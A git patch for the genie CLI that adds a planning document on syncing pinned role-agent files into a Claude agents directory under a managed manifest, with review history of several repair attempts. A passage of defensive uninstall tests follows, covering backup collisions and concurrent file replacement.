From 2315671af7d0ae2dd6f183fef5e339e9a4ad944b Mon Sep 17 00:00:00 2001 From: namastex888 Date: Sun, 12 Jul 2026 15:16:11 -0300 Subject: [PATCH 01/20] feat(agent-sync): centralized flat-agent transaction core + single-lock uninstall MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Group A (agents-fanout) of routing-delivery-fix, attempt 4 — architecture-first repair replacing per-file staging/relinquish machinery with one transaction core (capture -> validate -> publish -> manifest CAS -> finalize/rollback) and one lock held across the complete uninstall including canonical-source deletion. Closes the six terminal transaction-boundary defects from attempts 1-3; 7 new invariant tests pin them. Independent execution review: SHIP (2026-07-12). 106 focused tests pass; bun run check 967 pass / 1 skip / 0 fail. --- .genie/wishes/routing-delivery-fix/WISH.md | 392 ++++ src/genie-commands/uninstall.test.ts | 504 +++++- src/genie-commands/uninstall.ts | 674 ++++++- src/lib/agent-sync.test.ts | 680 ++++++- src/lib/agent-sync.ts | 1870 +++++++++++++++++++- 5 files changed, 3950 insertions(+), 170 deletions(-) create mode 100644 .genie/wishes/routing-delivery-fix/WISH.md diff --git a/.genie/wishes/routing-delivery-fix/WISH.md b/.genie/wishes/routing-delivery-fix/WISH.md new file mode 100644 index 000000000..7065e7ef5 --- /dev/null +++ b/.genie/wishes/routing-delivery-fix/WISH.md @@ -0,0 +1,392 @@ +# Wish: Routing delivery fix — `genie update` fans the pinned role agents + +| Field | Value | +|-------|-------| +| **Status** | IN PROGRESS — Group A **SHIP** (attempt 4, Fable-tier architecture-first repair, independent review 2026-07-12); Group B dispatched; Group C post-release user-gated | +| **Slug** | `routing-delivery-fix` | +| **Date** | 2026-07-11 | +| **Author** | Felipe + team-lead session (rebaseline wish 1) | +| **Appetite** | small | +| **Branch** | `wish/routing-delivery-fix` | +| **Repos touched** | genie | +| **Design** | [DESIGN.md](../../brainstorms/token-efficiency-rebaseline/DESIGN.md) | + +## Summary + +The seven pinned role agents (engineer-trivial/standard/complex, fixer, reviewer, final-gate, scout) +ship only inside the genie Claude Code plugin, which is disabled — so the routing matrix's model pins +never loaded and every dispatch inherited the session's Fable-max tier. This wish makes `genie update` +(agent-sync) fan the role-agent files into `~/.claude/agents/` under the managed-stamp + backup +contract it already uses for skills, with `genie doctor` able to distinguish genie-managed agents from +merely-present files. Mechanism proven live 2026-07-11: a hand-copy into `~/.claude/agents/` surfaced +all seven as bare-named agent types in fresh and reloaded sessions. + +## Scope + +### IN + +- agent-sync fans the canonical source's `agents/` dir into `~/.claude/agents/` on `genie update` / + `genie install` (and the SessionStart sync-only trigger), with: managed stamp (`.genie-sync.json`, + `managedBy: genie-agent-sync`), backup-first adoption of pre-existing unmanaged files (covers the + 2026-07-11 hand-copy), stale refresh, orphan removal of genie-stamped agents whose source vanished, + and unmanaged (user-authored) entries never touched. +- `genie uninstall` removes only provably genie-stamped role agents (backup-first), leaving + user-authored agents intact. +- `genie doctor` reports role-agent state: genie-managed (stamped) vs merely-present vs stale vs + missing; warns when `enabledPlugins["genie@automagik"]` is true in `~/.claude/settings.json` + (duplicate-surface risk: plugin `genie:*` agents + fanned bare names). +- Day-3 QA evidence: fresh-session surface check against **stamped** files (not the hand-copy) + + LangWatch pull re-running the day-2 recipe set with the mechanical `model×effort` fingerprint check + as the primary test. + +### OUT + +- Re-enabling the Claude Code plugin as a delivery path (rejected in the design). +- Codex role-agent delivery (`codex-agents/` in the plugin) — separate track, not this wish. +- Any change to the seven agent files' content (model/effort values are routing-matrix scope). +- `genie spend` (rebaseline wish 2) and the /work workflow re-platform (rebaseline wish 3). +- Windows shim/exec concerns — agent fan-out reuses the existing file-copy engine only. + +## Decisions + +| # | Decision | Rationale | +|---|----------|-----------| +| 1 | Deliver via agent-sync fan-out into `~/.claude/agents/`, plugin stays disabled | Felipe-ratified 2026-07-11; bare names match the acceptance test, dir is live-watched, no duplicate listings. Reuses the shipped managed-file CONTRACT (stamp/backup/orphan semantics) but requires **new per-FILE machinery** — the existing engine is directory-oriented (per-skill dirs, stamp inside each dir) and its whole-dir replace (`writeManagedDir`) is FORBIDDEN on `~/.claude/agents/`: applied there it would delete user-authored agent files (plan-review HIGH) | +| 2 | Acceptance discriminator = the managed stamp, not file presence | The 2026-07-11 hand-copy already makes "files present + agents surface" pass; only `genie update` writing the stamp (or a clean-host QA) proves the fan-out itself (plan-review MEDIUM) | +| 3 | Doctor warns (not blocks) on enabled genie plugin | Duplicate `genie:*` + bare-name agents degrade UX but break nothing; warn + document the resolution (design Risk 7) | +| 4 | Adopt-with-backup for pre-existing files, never overwrite silently | Same contract as skills; the hand-copy must be adopted under the stamp, and user-authored agents with colliding names must be backed up before replacement, never lost | + +## Success Criteria + +- [ ] After `genie update`, `~/.claude/agents/` contains all seven role files AND the + `.genie-sync.json` managed stamp (`managedBy: genie-agent-sync`); the pre-existing hand-copy is + adopted with backups under `~/.genie/state-backups/`. +- [ ] Fresh session (or `/reload-plugins`) lists all seven bare-named agent types sourced from the + stamped files (verify on this host post-update; mechanism itself already proven 2026-07-11). +- [ ] `genie doctor` output distinguishes genie-managed vs merely-present vs stale role agents, and + emits the duplicate-surface warning when the genie plugin is enabled. +- [ ] `genie uninstall` (dry-run acceptable for QA) removes only stamped agents; an injected + user-authored agent file survives untouched. +- [ ] `bun run check` green; `bun run wishes:lint` green. +- [ ] Day-3 LangWatch evidence recorded at `.genie/wishes/routing-matrix/qa/`: dispatched traces carry + the pinned `model×effort` fingerprints per role (primary); Fable-share trend reported as + directional only, with top-3-thread exclusion noted. + +## Execution Strategy + +### Wave 1 (sequential) + +| Group | Agent | Complexity | Model | Description | +|-------|-------|------------|-------|-------------| +| A | engineer-complex | 4 — agent-lifecycle/routing delivery (+2), stateful adopt/backup/orphan handling (+2); net-new per-file managed machinery mirroring the dir contract; deterministic tests exist | opus-xhigh | agents-fanout: per-file managed fan-out of `agents/` into `~/.claude/agents/` + uninstall coverage | + +### Wave 2 (after A merges to the wish branch) + +| Group | Agent | Complexity | Model | Description | +|-------|-------|------------|-------|-------------| +| B | engineer-standard | 2 — diagnostics over A's stamp format (+2 routing-adjacent surface); no state mutation, deterministic tests | opus-high | doctor-duplicate-guard: managed/present/stale reporting + enabledPlugins warning | + +### Wave 3 (post-release, evidence only — user-gated live ritual) + +| Group | Agent | Complexity | Model | Description | +|-------|-------|------------|-------|-------------| +| C | scout | 1 — bounded evidence collection with documented recipes | opus-low | day3-qa: stamped-surface check + LangWatch fingerprint pull, evidence to routing-matrix qa/ | + +> Group C cannot execute in the same /work run as A+B — it gates on a released build plus Felipe's +> live update ritual. /work must treat the wish's code scope as complete after A+B ship; C stays a +> ready task until the release lands and must NOT mark the wish blocked. + +## Execution Groups + +### Group A: agents-fanout + +**Goal:** `genie update` converges `~/.claude/agents/` from the canonical source's `agents/` dir under the same managed-stamp + backup contract as skills. + +**Deliverables:** +1. agent-sync (src/lib/agent-sync.ts): extend `syncClaude()` (:471–477) to fan the source `agents/` + dir (confirmed at `plugins/genie/agents/` in repo and live install via `resolveGenieSource()` + :213–221) into `~/.claude/agents/` with **new per-FILE managed machinery** — the agents are flat + `*.md` files and MUST stay flat for Claude Code discovery, so the dir-oriented engine does not + apply. Contract (mirrors the dir contract's semantics, not its code): + - **Manifest:** one dir-level `~/.claude/agents/.genie-sync.json` mapping + `filename → { digest: sha256(file), version, syncedAt }` under `managedBy: 'genie-agent-sync'` + (`SyncManifest` :179–184 field shapes reused). + - **Create/update:** write the file + record its digest. **Adopt-with-backup:** an existing target + file not in the manifest (the 2026-07-11 hand-copy, or a user's colliding name) is backed up via + the `backupInto` closure pattern (:768–776 → `~/.genie/state-backups/…`) before replacement. + - **Orphans:** a manifest-recorded filename whose source vanished is backed-up-then-removed if its + digest matches (unmodified); a digest-mismatched (user-edited) managed file is KEPT with an + advisory, never deleted (semantics of `removeManagedOrphans` :418–440, per-file). + - **User files:** any filename absent from the manifest (other than adopt-on-collision above) is + NEVER touched. **`writeManagedDir()` (:333–343) is explicitly forbidden on `~/.claude/agents/`** + — its whole-dir atomic replace would delete user-authored agents. + - Target dir overridable for tests via the existing `targets` option pattern. +2. Uninstall coverage (src/genie-commands/uninstall.ts): add a **per-file** collector + classifier to + `collectAgentSyncAssets()` (:193–208) — do NOT reuse `collectManagedSkillDirs()` (:134–155): its + `isDirectory` gate skips flat files. Classification per manifest entry: 'clean' (digest matches → + backup-then-remove) | 'modified' (user-edited → keep as `.md.genie-kept`, preserving bytes + while unloading it from Claude Code) | absent-from-manifest (never touched). + `removeAgentSyncAssets()` (:232–255) stays the removal executor once collection is wired. +3. Tests (src/lib/agent-sync.test.ts — tmpdir + `GENIE_HOME` isolation): add `writeSourceAgent()` + writing a **single `agents/.md` file** (NOT a dir tree like `writeSourceSkill()` :78–82); + extend the `setup()` fixture (:91–120) with an agents dict. Cases: fresh fan-out writes files + + manifest; second run idempotent; adopt-with-backup over a pre-existing unmanaged copy; a + user-authored `my-own-agent.md` is **byte-identical after sync AND after uninstall**; unmodified + orphan backed-up-then-removed; modified managed file kept; uninstall removes only manifest-recorded + clean files (extend src/genie-commands/uninstall.test.ts). + +**Acceptance Criteria:** +- [ ] Running the sync twice is idempotent (second run reports no changes). +- [ ] A pre-existing unmanaged `scout.md` is adopted: backup exists under the state-backups dir, file + becomes stamped-managed. +- [ ] A user file `my-own-agent.md` in `~/.claude/agents/` survives sync and uninstall untouched. +- [ ] Deleting `scout.md` from the source and re-syncing removes the target copy (orphan removal), + with backup. + +**Validation:** +```bash +cd /Users/feliperosa/workspace/genie && bun test src/lib/agent-sync.test.ts src/genie-commands/uninstall.test.ts && bun run check +``` + +**depends-on:** none + +--- + +### Group B: doctor-duplicate-guard + +**Goal:** `genie doctor` tells the truth about role-agent delivery — managed vs merely-present vs stale — and warns about the duplicate-surface hazard. + +**Deliverables:** +1. Doctor summary for `~/.claude/agents/` (src/genie-commands/doctor.ts): a **new per-file + classifier** — `summarizeManagedSkills()` (:620–641) cannot be reused (subdir-based via + `listSubdirs` :570 + manifest-inside-dir via `readManagedDigest` :585; flat files are invisible to + it and it cannot emit a present-unmanaged state). Per-file states from the Group A manifest: + genie-managed-current / genie-managed-stale / **present-unmanaged** (file exists, no manifest + entry — the hand-copy case) / missing-from-target. Report inside `checkClaudeSync()` (:664–680) + alongside skills + council.js freshness. +2. `enabledPlugins["genie@automagik"] === true` probe in `~/.claude/settings.json` → warning naming + the duplicate-surface consequence and the resolution (keep plugin disabled, or expect `genie:*` + duplicates). +3. **Machine-readable contract (UI interface):** the per-file states and the duplicate warning ride + the existing `genie doctor --json` raw-check output (src/genie-commands/doctor.ts:12 — no new + flag). This is the "pins mechanically active" integrity fact the execution-optimization dashboard + (parallel brainstorm `genie-execution-optimization-dashboard`, block 20 measurement-integrity) + consumes. Doctor's `--json` emits `{ ok, checks: [{ name, status, detail?, suggestion? }] }` + (doctor.ts:837–838) — the per-file states (`genie-managed-current` / `genie-managed-stale` / + `present-unmanaged` / `missing-from-target`) must be **deterministically machine-parseable** from + that output: either a structured payload on the check entry or a documented stable format in + `detail` — never free prose the dashboard would have to guess at. +4. Tests: fixture settings.json + fixture agents dir driving each state and the warning, asserted on + both the human and `--json` outputs. + +**Acceptance Criteria:** +- [ ] Doctor on a host with only the unstamped hand-copy reports present-unmanaged (NOT healthy + genie-managed) — the false-PASS discriminator from the plan review. +- [ ] Doctor with the plugin enabled emits the duplicate-surface warning; disabled emits none. +- [ ] `genie doctor --json` carries the per-file role-agent states under stable field names + (dashboard-consumable without parsing human output). + +**Validation:** +```bash +cd /Users/feliperosa/workspace/genie && bun test src/genie-commands/doctor.test.ts && bun run check +``` + +**depends-on:** A + +--- + +### Group C: day3-qa + +**Goal:** Prove the pins fire mechanically end-to-end on the released build, with evidence. + +**Deliverables:** +1. Post-release, post-`genie update` (Felipe's live ritual): verify the stamp exists and the seven + agents surface in a fresh session; record doctor output. +2. LangWatch pull re-running the day-2 recipe set (`.genie/wishes/routing-matrix/qa/routing-pin-qa-20260711.md` + methodology): primary = dispatched traces carry pinned `model×effort` fingerprints per role; + secondary = Fable/Opus/Haiku share trend, reported with top-3-thread exclusion. **Record RESOLVED + model IDs, not aliases** — the agent files pin `opus`/`haiku` aliases, which move across releases; + the evidence must state what they resolved to during the window (execution-optimization-lab + benchmark requirement, shared). +3. Evidence file `.genie/wishes/routing-matrix/qa/routing-pin-qa-.md`; if fingerprints pass, + mark routing-matrix QA CLOSED in `.genie/INDEX.md`. + +**Acceptance Criteria:** +- [ ] Evidence file exists with commands + numbers; fingerprint verdict explicit (pass/fail per role). +- [ ] routing-matrix INDEX entry updated to reflect the QA outcome. + +**Validation:** +```bash +test -s "$(ls -t /Users/feliperosa/workspace/genie/.genie/wishes/routing-matrix/qa/routing-pin-qa-*.md | head -1)" +``` + +**depends-on:** B (released build carrying A+B) + +--- + +## Dependencies + +- **blocks:** `work-on-workflows` (rebaseline wish 3 — sequenced after Fix per the ratified order; + no mechanical dependency). +- `genie-spend` (rebaseline wish 2) is independent and may run in parallel. + +## QA Criteria + +_What must be verified on dev after merge. The QA agent tests each criterion._ + +- [ ] Functional: `genie update` on a real host populates `~/.claude/agents/` with stamp; the seven + agents surface after `/reload-plugins` or a fresh session. +- [ ] Integration: `genie doctor` reflects the true managed state on that same host; enabling the + plugin flips the warning on. +- [ ] Regression: skills fan-out, council.js stamping, and Codex/Hermes sync targets unchanged + (`bun test src/lib/agent-sync.test.ts` full suite green); user-authored agents never touched. + +--- + +## Assumptions / Risks + +| Risk | Severity | Mitigation | +|------|----------|------------| +| Name collision with a user-authored agent of the same name (e.g. their own `reviewer.md`) | Medium | Adopt-with-backup, never silent overwrite; doctor lists the adoption; backups under `~/.genie/state-backups/` | +| Hosts with the plugin ENABLED get duplicates (`genie:*` + bare) | Medium | Group B warning + documented resolution (design Risk 7) | +| `CLAUDE_CODE_SUBAGENT_MODEL` env silently overrides pins | Medium | Carried from umbrella — doctor env check exists per routing-matrix wish; re-verify in Group C evidence | +| Day-3 share numbers noise-dominated by thread mix | Low | Fingerprint check is primary; shares directional with top-3 exclusion (plan-review MEDIUM) | + +--- + +## Review Results + +### Plan review — 2026-07-11 (reviewer role agent, opus-xhigh) + +- **Loop 0:** FIX-FIRST — 1 HIGH (Group A framed as reuse of the dir-oriented managed engine; + `writeManagedDir` whole-dir replace would delete user-authored agents; uninstall/doctor dir-walkers + skip flat files) + 2 MEDIUM (Group B validation targeted the wrong test dir; present-unmanaged state + unreachable via `summarizeManagedSkills`) + 2 LOW (Group C post-release gating note; Group A targeted + command missing uninstall.test.ts). All anchors verified accurate; semantics were the issue. +- **Loop 1:** **SHIP** — all 5 findings verified resolved against the amended file; per-file design + confirmed sound (dotfile manifest can't surface as an agent; no collision with per-skill manifests). +- **Post-SHIP amendment (Felipe-directed, 2026-07-11, after the SHIP verdict):** convergence with the + parallel `genie-execution-optimization-dashboard` brainstorm — Group B states explicitly ride the + existing `genie doctor --json` with stable field names (the dashboard's pins-active integrity fact); + Group C must record resolved model IDs, not aliases. Delta sent to the reviewer for a + flag-if-broken check; no engine-contract change. + +**Engineer note (non-blocking, Group A):** the clean-remove path can reuse `removeAgentSyncAssets()`'s +file branch, but the MODIFIED-keep path must NOT assume `keepModifiedSkillDir` works unchanged — an +agent's ownership is an ENTRY in the shared dir-level `~/.claude/agents/.genie-sync.json`, so keeping +`.md.genie-kept` also means deleting that filename's manifest entry (not unlinking a per-dir +manifest). The acceptance tests force the correct behavior. + +### Execution review — Group A `agents-fanout` (2026-07-11) + +- **Engineer pass:** implementation completed in the four Group A files; targeted tests and the full + repository gate passed. +- **Review loop 0:** **FIX-FIRST** — unsafe `.genie-kept` collision handling, uninstall backups + deleted by the full uninstall flow, remove-before-write updates, and unsafe shared-manifest paths. +- **Fix/review loop 1:** **FIX-FIRST** — new adversarial evidence found unsafe backup destination + collisions, file/ownership TOCTOU, fixed staging paths that wedged retries, and a non-idempotent + backups-only uninstall state. +- **Fix/review loop 2:** **BLOCKED** after the maximum two fix loops. Validation remained green + (92 focused tests; 953 full-suite passes, 1 skipped; scoped `git diff --check` clean), but the final + independent reviewer reproduced four remaining boundary defects: + 1. **CRITICAL:** sync can overwrite or delete a replacement created after its final validation but + before publish/removal (`src/lib/agent-sync.ts`). + 2. **HIGH:** uninstall ignores a failed ownership relinquish and can leave a removed file still + owned by the manifest (`src/genie-commands/uninstall.ts`). + 3. **HIGH:** lock acquisition can return a usable-looking handle without owning a lock, and + release/stale-steal boundaries are not ownership-atomic (`src/lib/agent-sync.ts`). + 4. **HIGH:** stage cleanup tracks only pathnames and can delete a replacement object it does not + own (`src/lib/agent-sync.ts`). + +**Escalation diagnosis:** Group A remains `in_progress`; Groups B/C were not dispatched. Cause is +`missing-context`: each bounded fix brief addressed the then-reproduced gap list, while the terminal +review supplied new atomic-boundary invariants (capture-before-validate/publish, checked ownership +relinquish, fail-closed lock acquisition, identity-checked stage cleanup). Model/effort escalation is +not authorized or evidenced. Corrective route: human authorization for a fresh, same-model +engineering cycle carrying those four exact invariants, followed by an independent execution review. +Budget: `attempts=2/2`; `effort_escalations=0/2`; appeal: none. + +**Human-authorized repair extension — 2026-07-11T23:41:07-03:00:** Felipe approved one fresh +engineering-and-review cycle for Group A. The inherited model and effort remain unchanged; the +extension carries only the four terminal atomic-boundary invariants above. Extended budget: +`attempts=3/3`; `effort_escalations=0/2`. A non-SHIP re-review stops the group again; it does not +authorize another automatic repair. + +**Human-authorized extension review — 2026-07-11:** **FIX-FIRST**. The first formal-review attempt +hit an environment policy false positive; an unchanged-effort retry completed normally. Validation +passed (99 focused tests; 960 full-suite passes, 1 skipped; scoped `git diff --check` clean), while +the formal reviewer and architecture lens reproduced these remaining transaction-boundary defects: + +1. **CRITICAL:** sync and uninstall can discard changes made to a captured inode after their one-time + validation and before final unlink. +2. **HIGH:** sync can commit manifest ownership for different live target bytes changed immediately + before manifest commit. +3. **HIGH:** successful manifest publication can be misreported as failure when stage cleanup fails, + causing data rollback plus a multiply-linked manifest that future reads reject. +4. **HIGH:** final-entry ownership relinquish can return success while a concurrently installed + replacement manifest still owns the removed agent. +5. **HIGH:** full uninstall releases the shared sync lock before deleting the canonical source, + allowing a sync in the gap to recreate managed agents that uninstall then leaves behind. +6. **HIGH:** exceptions after uninstall staging can hide bytes in a staging directory while leaving + the live path absent and manifest ownership unchanged. + +**Extension diagnosis:** cause is `model-capacity`: the behavioral contract, repository context, +deterministic seams, and validation environment were complete, but the same inherited model/effort +did not close the transaction reasoning after three implementation attempts. Corrective route: +human authorization for an architecture-first repair that centralizes the flat-agent transaction +(`capture → validate → publish → manifest CAS → finalize/rollback`) and holds one lock across the +complete uninstall, using a higher-effort fresh engineering session if the runtime exposes one. +Budget: `attempts=3/3`; `effort_escalations=0/2`; appeal: none. Group A remains `in_progress` and +Groups B/C remain undispatched. + +**Human-authorized escalated repair — 2026-07-12:** Felipe approved attempt 4 as an +architecture-first repair at **Fable-5 tier** (above the opus-xhigh pin used in attempts 1–3), +consuming one effort escalation. Mandate: centralize the entire flat-agent transaction +(`capture → validate → publish → manifest CAS → finalize/rollback`) and hold ONE lock across the +complete uninstall, including canonical-source deletion. The six terminal transaction-boundary +defects ride as hard invariants; the existing test suite is kept as the behavioral floor. +Extended budget: `attempts=4/4`; `effort_escalations=1/2`. A non-SHIP re-review stops the group +again; it does not authorize another automatic repair. + +### Execution review — Group A attempt 4 (2026-07-12): **SHIP** + +Independent Fable-tier reviewer, adversarial syscall-interleaving pass over the uncommitted working +tree. No CRITICAL or HIGH gaps. All six terminal invariants closed — publish-outcome-at-rename, +single-lock-across-uninstall, exception-path restore-or-park, and flat-file structural invisibility +of user files CLOSED-BY-CONSTRUCTION; captured-inode disposal and bytes/ownership divergence +CLOSED-BY-CHECK via at-the-instant re-verification, with residual windows reachable only by a +non-genie process forging genie's own manifest and producing no byte loss on any constructed +interleaving. All four engineer-declared open items judged acceptable (item (b), capture-mismatch +relinquish, is in fact pinned by tests — the "no floor test" note was outdated). Wish-contract +compliance verified in code, including `writeManagedDir` never touching `~/.claude/agents/` and +durable backups now surviving full uninstall (prior code deleted state-backups — fixed and pinned). +The 7 new INV tests were judged to pin the invariants (attempt-3 code would fail each behaviorally). +Gates re-run independently from a script file: 106 focused pass / 0 fail; `bun run check` 967 pass / +1 skip / 0 fail; wishes-lint OK; `git diff --check` clean. + +**Non-blocking advisories (follow-up hardening candidates):** +1. MEDIUM — `state.published` re-read from the live path after linkSync instead of derived from the + staged inode (agent-sync.ts:1098); bounded (all consumers backup-first, no byte loss); recommend + constructing from stage.stat/stage.bytes. +2. MEDIUM/LOW — SIGKILL between capture and finalize strands quarantine-dir debris with no recovery + sweep; kill-only, ms-scale, manually recoverable; a startup sweep would close it. +3. LOW — `stealStaleLock` doc comment describes the retired guard-file mechanism (agent-sync.ts:2074). +4. LOW — sync's publish-conflict advisory omits the `.genie-kept` path (agent-sync.ts:1677). +5. LOW — uninstall silently collects zero agents when the shared manifest is unsafe (uninstall.ts:193); + fail-closed but unexplained in output. + +Budget closed: `attempts=4/4` (SHIP on 4); `effort_escalations=1/2`. + +--- + +## Files to Create/Modify + +``` +src/lib/agent-sync.ts # syncClaude :471 — NEW per-file managed fan-out (dir-level filename→digest manifest) +src/lib/agent-sync.test.ts # writeSourceAgent (single file) + fan-out/adopt/orphan/user-file-byte-identical cases +src/genie-commands/doctor.ts # checkClaudeSync :664 — NEW per-file classifier + enabledPlugins warning +src/genie-commands/doctor.test.ts # per-state fixtures incl. present-unmanaged (hand-copy) + warning on/off +src/genie-commands/uninstall.ts # collectAgentSyncAssets :193 — per-file collector/classifier (NOT collectManagedSkillDirs) +src/genie-commands/uninstall.test.ts# removes-only-manifest-clean; user + modified files preserved +.genie/wishes/routing-matrix/qa/ # Group C evidence file +``` diff --git a/src/genie-commands/uninstall.test.ts b/src/genie-commands/uninstall.test.ts index 43f36cc40..10babd6ed 100644 --- a/src/genie-commands/uninstall.test.ts +++ b/src/genie-commands/uninstall.test.ts @@ -1,15 +1,15 @@ /** * Tests for the agent-sync managed-asset removal in `genie uninstall`. * - * The full uninstallCommand is interactive (confirm prompt) and targets the real - * home; here we only prove the manifest-verified collect/remove seams — the code - * that decides WHICH external agent assets uninstall is allowed to delete. Every - * path is injected into a tmpdir, so no test ever touches the real HOME. + * The interactive prompt stays out of scope. Manifest-verified removal seams and + * a fully injected noninteractive flow run under a tmpdir, so no test touches the + * real HOME. * * Ownership contract under test: uninstall deletes only what genie provably * shipped — a managed dir whose computeDirDigest still matches its manifest. - * A digest MISMATCH means the user edited the dir: it is kept byte-identical at - * the same path. Uninstall cannot rename, disable, or rewrite user data. + * A managed-skill digest mismatch stays byte-identical at the same path. A flat + * agent mismatch is transactionally disowned and kept aside so it stops loading + * while its exact user bytes survive. */ import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; @@ -17,6 +17,7 @@ import { createHash } from 'node:crypto'; import { chmodSync, existsSync, + linkSync, lstatSync, mkdirSync, mkdtempSync, @@ -34,7 +35,10 @@ import { MANAGED_BY, PHYSICAL_TREE_IDENTITY_VERSION, WORKFLOW_MANIFEST_NAME, + acquireAgentSyncLock, computeDirDigest, + computeFileDigest, + readAgentFilesManifest, stampWorkflow, } from '../lib/agent-sync.js'; import { @@ -43,10 +47,12 @@ import { collectAgentSyncAssets, executeUninstallBatch, hasPendingUninstallTransactions, + hasRemovableGenieInstallState, hasUninstallWork, inspectUninstallPlan, isGenieSymlink, isSameOrContainedPath, + performUninstall, readUninstallBatchDecision, recordUninstallBatchDecision, recoverUninstallTransactions, @@ -77,8 +83,21 @@ describe('agent-sync managed-asset removal', () => { let hermesHome: string; let genieHome: string; + const fixedNow = () => new Date('2026-07-11T12:00:00.000Z'); + function targets() { - return { claudeDir, codexDir, agentsSkillsDir, hermesHome, genieHome }; + return { claudeDir, codexDir, agentsSkillsDir, hermesHome, genieHome, now: fixedNow }; + } + + function uninstallBackupCollisionPath(): string { + return join( + genieHome, + 'state-backups', + 'agent-sync-uninstall-2026-07-11T12:00:00.000Z', + 'claude', + 'agents', + 'scout.md', + ); } /** A managed dir exactly as agent-sync ships it: manifest digest matches content. */ @@ -123,6 +142,22 @@ describe('agent-sync managed-asset removal', () => { writeFileSync(join(dir, '.genie-sync.json'), JSON.stringify(manifest), 'utf8'); } + /** Add one flat Claude agent plus its entry in the shared per-file manifest. */ + function managedAgent(name: string, content = '# managed agent\n'): string { + const parent = join(claudeDir, 'agents'); + const path = join(parent, name); + mkdirSync(parent, { recursive: true }); + writeFileSync(path, content, 'utf8'); + const manifest = readAgentFilesManifest(parent) ?? { managedBy: MANAGED_BY, files: {} }; + manifest.files[name] = { + digest: computeFileDigest(path), + version: '1', + syncedAt: '2026-07-11T10:00:00.000Z', + }; + writeFileSync(join(parent, '.genie-sync.json'), `${JSON.stringify(manifest, null, 2)}\n`, 'utf8'); + return path; + } + beforeEach(() => { tmp = mkdtempSync(join(tmpdir(), 'uninstall-agentsync-')); claudeDir = join(tmp, 'claude'); @@ -712,6 +747,461 @@ describe('agent-sync managed-asset removal', () => { expect(existsSync(replacement)).toBe(true); expect(readFileSync(join(replacement, 'SKILL.md'), 'utf8')).toBe('# swapped in between attempts\n'); }); + test('collects only flat Claude agents represented in the shared manifest', () => { + const scout = managedAgent('scout.md'); + const own = join(claudeDir, 'agents', 'my-own-agent.md'); + writeFileSync(own, '# entirely mine\n', 'utf8'); + + const assets = collectAgentSyncAssets(targets()); + const agentPaths = assets.filter((asset) => asset.kind === 'agent').map((asset) => asset.path); + + expect(agentPaths).toEqual([scout]); + expect(agentPaths).not.toContain(own); + }); + + test('agent uninstall backs up/removes clean entries, keeps modified bytes, and never touches user files', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + const reviewer = managedAgent('reviewer.md', '# shipped reviewer\n'); + const reviewerBytes = Buffer.from('# reviewer with local edits\n'); + writeFileSync(reviewer, reviewerBytes); + const own = join(claudeDir, 'agents', 'my-own-agent.md'); + const ownBytes = Buffer.from([0x23, 0x20, 0x6d, 0x79, 0x20, 0x6f, 0x77, 0x6e, 0x0a]); + writeFileSync(own, ownBytes); + + const { removed, kept } = removeAgentSyncAssets(targets()); + const reviewerKept = `${reviewer}.genie-kept`; + + expect(removed).toContain(scout); + expect(existsSync(scout)).toBe(false); + expect(kept).toContain(reviewerKept); + expect(existsSync(reviewer)).toBe(false); + expect(readFileSync(reviewerKept)).toEqual(reviewerBytes); + expect(readFileSync(own)).toEqual(ownBytes); + expect(readAgentFilesManifest(join(claudeDir, 'agents'))).toBeNull(); + + const backup = join( + genieHome, + 'state-backups', + 'agent-sync-uninstall-2026-07-11T12:00:00.000Z', + 'claude', + 'agents', + 'scout.md', + ); + expect(readFileSync(backup, 'utf8')).toBe('# shipped scout\n'); + }); + + test('a symlink backup collision and its victim survive while uninstall allocates a distinct root', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + const collision = uninstallBackupCollisionPath(); + const victim = join(tmp, 'uninstall-backup-symlink-victim'); + const victimBytes = Buffer.from('symlink victim bytes\n'); + writeFileSync(victim, victimBytes); + mkdirSync(dirname(collision), { recursive: true }); + symlinkSync(victim, collision); + + const result = removeAgentSyncAssets(targets()); + const distinctBackup = join( + genieHome, + 'state-backups', + 'agent-sync-uninstall-2026-07-11T12:00:00.000Z-1', + 'claude', + 'agents', + 'scout.md', + ); + + expect(result.removed).toEqual([scout]); + expect(lstatSync(collision).isSymbolicLink()).toBe(true); + expect(readFileSync(victim)).toEqual(victimBytes); + expect(readFileSync(distinctBackup, 'utf8')).toBe('# shipped scout\n'); + }); + + test('a multiply-linked backup collision preserves both prior names and creates a distinct backup', () => { + managedAgent('scout.md', '# shipped scout\n'); + const collision = uninstallBackupCollisionPath(); + const victim = join(tmp, 'uninstall-backup-hardlink-victim'); + const victimBytes = Buffer.from('hardlink victim bytes\n'); + writeFileSync(victim, victimBytes); + mkdirSync(dirname(collision), { recursive: true }); + linkSync(victim, collision); + + removeAgentSyncAssets(targets()); + const distinctBackup = join( + genieHome, + 'state-backups', + 'agent-sync-uninstall-2026-07-11T12:00:00.000Z-1', + 'claude', + 'agents', + 'scout.md', + ); + + expect(lstatSync(victim).nlink).toBe(2); + expect(readFileSync(victim)).toEqual(victimBytes); + expect(readFileSync(collision)).toEqual(victimBytes); + expect(readFileSync(distinctBackup, 'utf8')).toBe('# shipped scout\n'); + }); + + test('an existing regular backup collision is never overwritten', () => { + managedAgent('scout.md', '# shipped scout\n'); + const collision = uninstallBackupCollisionPath(); + const collisionBytes = Buffer.from('prior regular backup\n'); + mkdirSync(dirname(collision), { recursive: true }); + writeFileSync(collision, collisionBytes); + + removeAgentSyncAssets(targets()); + const distinctBackup = join( + genieHome, + 'state-backups', + 'agent-sync-uninstall-2026-07-11T12:00:00.000Z-1', + 'claude', + 'agents', + 'scout.md', + ); + + expect(readFileSync(collision)).toEqual(collisionBytes); + expect(readFileSync(distinctBackup, 'utf8')).toBe('# shipped scout\n'); + }); + + test('a replacement at the captured-to-remove boundary survives live and stays unowned', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + const replacementBytes = Buffer.from('# concurrent replacement\n'); + let crossedBarrier = false; + + const result = removeAgentSyncAssets({ + ...targets(), + beforeAgentFileMutation: (event) => { + if (!crossedBarrier && event.operation === 'remove' && event.path === scout) { + crossedBarrier = true; + writeFileSync(scout, replacementBytes); + } + }, + }); + + expect(crossedBarrier).toBe(true); + expect(result.removed).not.toContain(scout); + expect(result.kept).toEqual([]); + expect(readFileSync(scout)).toEqual(replacementBytes); + expect(readAgentFilesManifest(join(claudeDir, 'agents'))).toBeNull(); + expect(result.advisories?.some((line) => line.includes('concurrently appeared'))).toBe(true); + 